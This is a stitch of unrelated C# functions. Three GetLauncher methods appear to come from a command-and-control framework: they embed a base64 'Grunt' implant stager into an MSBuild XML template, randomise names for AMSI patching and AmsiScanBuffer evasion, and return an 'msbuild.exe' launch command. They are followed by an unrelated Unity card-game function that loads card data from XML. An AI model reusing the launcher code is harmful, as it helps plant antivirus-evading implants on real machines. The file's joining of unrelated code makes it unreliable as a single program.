public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template) { this.StagerCode = StagerCode; this.Base64ILByteString = Convert.ToBase64String(StagerAssembly); this.DiskCode = XMLTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); this.DiskCode = DiskCode.Replace("{{TARGET_NAME}}", this.TargetName); this.DiskCode = DiskCode.Replace("{{TASK_NAME}}", this.TaskName); // Replacements for obfuscation this.DiskCode = DiskCode.Replace("{{PATCH_AMSI}}", this.random_var_patchAmsi); this.DiskCode = DiskCode.Replace("{{AMSI}}", this.random_var_amsi); this.DiskCode = DiskCode.Replace("{{MEMORY_STREAM}}", this.random_var_outputMemoryStream); this.DiskCode = DiskCode.Replace("{{DEFLATE_STREAM}}", this.random_var_deflateStream); this.DiskCode = DiskCode.Replace("{{BYTE_ARRAY}}", this.random_var_byteArray); this.DiskCode = DiskCode.Replace("{{READ}}", this.random_var_read); this.DiskCode = DiskCode.Replace("{{LIB}}", this.random_var_lib); this.DiskCode = DiskCode.Replace("{{AMSI_DLL_0}}", this.random_var_amsi_dll[0]); this.DiskCode = DiskCode.Replace("{{AMSI_DLL_1}}", this.random_var_amsi_dll[1]); this.DiskCode = DiskCode.Replace("{{AMSI_SCAN_BUFF_0}}", this.random_var_amsiScanBuffer[0]); this.DiskCode = DiskCode.Replace("{{AMSI_SCAN_BUFF_1}}", this.random_var_amsiScanBuffer[1]); this.DiskCode = DiskCode.Replace("{{AMSI_SCAN_BUFF_2}}", this.random_var_amsiScanBuffer[2]); this.DiskCode = DiskCode.Replace("{{ASSEMBLY_BUFFER}}", this.random_var_assemblyBuffer); string launcher = "msbuild.exe" + " " + template.Name + ".xml"; this.LauncherString = launcher; return(this.LauncherString); }
public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) { this.StagerCode = listener.GetGruntStagerCode(grunt, profile); this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true); this.DiskCode = XMLTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); this.DiskCode = DiskCode.Replace("{{TARGET_NAME}}", this.TargetName); this.DiskCode = DiskCode.Replace("{{TASK_NAME}}", this.TaskName); string launcher = "msbuild.exe" + " " + "file.xml"; this.LauncherString = launcher; return(this.LauncherString); }
public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template) { this.StagerCode = StagerCode; this.Base64ILByteString = Convert.ToBase64String(StagerAssembly); this.DiskCode = XMLTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); this.DiskCode = DiskCode.Replace("{{TARGET_NAME}}", this.TargetName); this.DiskCode = DiskCode.Replace("{{TASK_NAME}}", this.TaskName); string launcher = "msbuild.exe" + " " + "file.xml"; this.LauncherString = launcher; return(this.LauncherString); }
void LoadAllCards() { if (Application.isWebPlayer) { TextAsset cardFile = Resources.Load<TextAsset>("Data/CardData/cards"); XmlSerializer serializer = new XmlSerializer(typeof(XMLTemplate)); cardDoc = (XMLTemplate)serializer.Deserialize(new StringReader(cardFile.text)); foreach (CardTemplate card in cardDoc.cards) { Card newData = new Card(); newData.cardElement = card.cardElement; newData.cardDescription = card.cardDescription; newData.cost = float.Parse(card.cost); newData.found = false; newData.iconLarge = GetIcon(card.iconLargeName); newData.iconMedium = GetIcon(card.iconMediumName); newData.iconSmall = GetIcon(card.iconSmallName); newData.rarity = card.rarity; newData.cardName = card.cardName; cardDictionary.Add(newData.cardName, newData); } } else { FileStream cardDocStream = new FileStream("Assets/Resources/Data/CardData/cards.xml", FileMode.Open); //get all cards from XML if (cardDocStream.CanRead) { XmlSerializer serializer = new XmlSerializer(typeof(XMLTemplate)); cardDoc = (XMLTemplate) serializer.Deserialize(cardDocStream); cardDocStream.Close(); } //create cards in dictionary with XML data foreach (CardTemplate card in cardDoc.cards) { Card newData = new Card(); newData.cardElement = card.cardElement; newData.cardDescription = card.cardDescription; newData.cost = float.Parse(card.cost); newData.found = false; newData.iconLarge = GetIcon(card.iconLargeName); newData.iconMedium = GetIcon(card.iconMediumName); newData.iconSmall = GetIcon(card.iconSmallName); newData.rarity = card.rarity; newData.cardName = card.cardName; cardDictionary.Add(newData.cardName, newData); } } }